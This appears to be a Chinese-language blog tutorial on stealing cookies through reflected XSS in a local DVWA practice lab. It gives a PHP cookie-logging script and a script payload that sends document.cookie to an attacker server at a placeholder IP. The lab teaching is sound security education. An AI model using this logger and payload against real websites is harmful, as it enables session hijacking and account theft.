前言

上一篇文章中介绍了XSS(跨站脚本攻击)简单原理与几种类型。接下来通过实例用几行代码实现cookie的盗取。

正文

这里测试用的工具是DVWA(可以本地搭建,前面文章有介绍),和phpstudy。首先登陆DVWA,选择low模式,点击submit按钮。如下图

然后咱们点击XSS(Reflected),首先输入 弹窗代码

<script>alert('XSS')</script>

然后界面弹窗,说明存在XSS跨站漏洞,如下图

接下来,打开phpstudy, 启动服务,点击创建网站,创建好之后,打开根目录,创建一个.php文件

然后.php文件里添加下面代码

<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n"); //写入文件并保存
fclose($log);
?>

接下来在有XSS漏洞的地方,输入如下代码

<script>document.location='http://你的IP/getcookie.php?cookie='+document.cookie;</script>

受攻击的服务器的cookie信息就会发送到攻击者的服务器并保存

测试结束。

总结

一,安装phpstudy集成环境。

二,自己搭建有xss漏洞的站点进行测试,这里推荐DVWA

三,构造获取cookie的代码,就是简单的接收参数,和保存文件。

四,构造JavaScript代码,将受害者的cookie信息发送到攻击者服务器。

五,查看保存的信息。

最新文章

  1. 多线程同步工具——volatile变量
  2. Android 笔记 day4
  3. JQuery EasyUI window 用法
  4. JavaScript基于对象(面向对象)&lt;一&gt;类和对象
  5. android常见错误-Installation error: INSTALL_FAILED_INSUFFICIENT_STORAGE
  6. 注意在insert插入数据库时的int类型问题
  7. java解析XML获取城市代码
  8. java思维导图
  9. 崔庆才Python3网络爬虫开发实战电子版书籍分享
  10. UIScrollView的AutoLayout约束
  11. (转载)Unity3D开发之编辑器统一修改Text字体
  12. Hive入门学习
  13. git介绍和常用命令总结
  14. git flow分支管理
  15. php curl上传文件$_FILES为空问题
  16. JDK1.6在LINUX下的安装配置[转]
  17. zabbix 介绍
  18. Android之ProGuard混淆器
  19. mysql密码忘记该怎么办?
  20. C#返回Json,js解析Json,并添加到select标签中

热门文章

  1. Mol Cell Proteomics. | 粪便微生物蛋白质的组成与饮食诱导肥胖倾向的关联研究
  2. Jenkinsfile里定义对象和函数,获取git提交人, 发送钉钉通知
  3. vue 拖拽框架 draggable
  4. 服务器安装 mongodb
  5. 模型压缩一半,精度几乎无损,TensorFlow推出半精度浮点量化工具包,还有在线Demo...
  6. 扩展KMP(记录学习过程)
  7. 维护你的请求队列,处理token异常
  8. Windows程序卡顿、无响应问题定位
  9. Java 判断 循环
  10. JAVA常见面试题问题简述(持续更新中)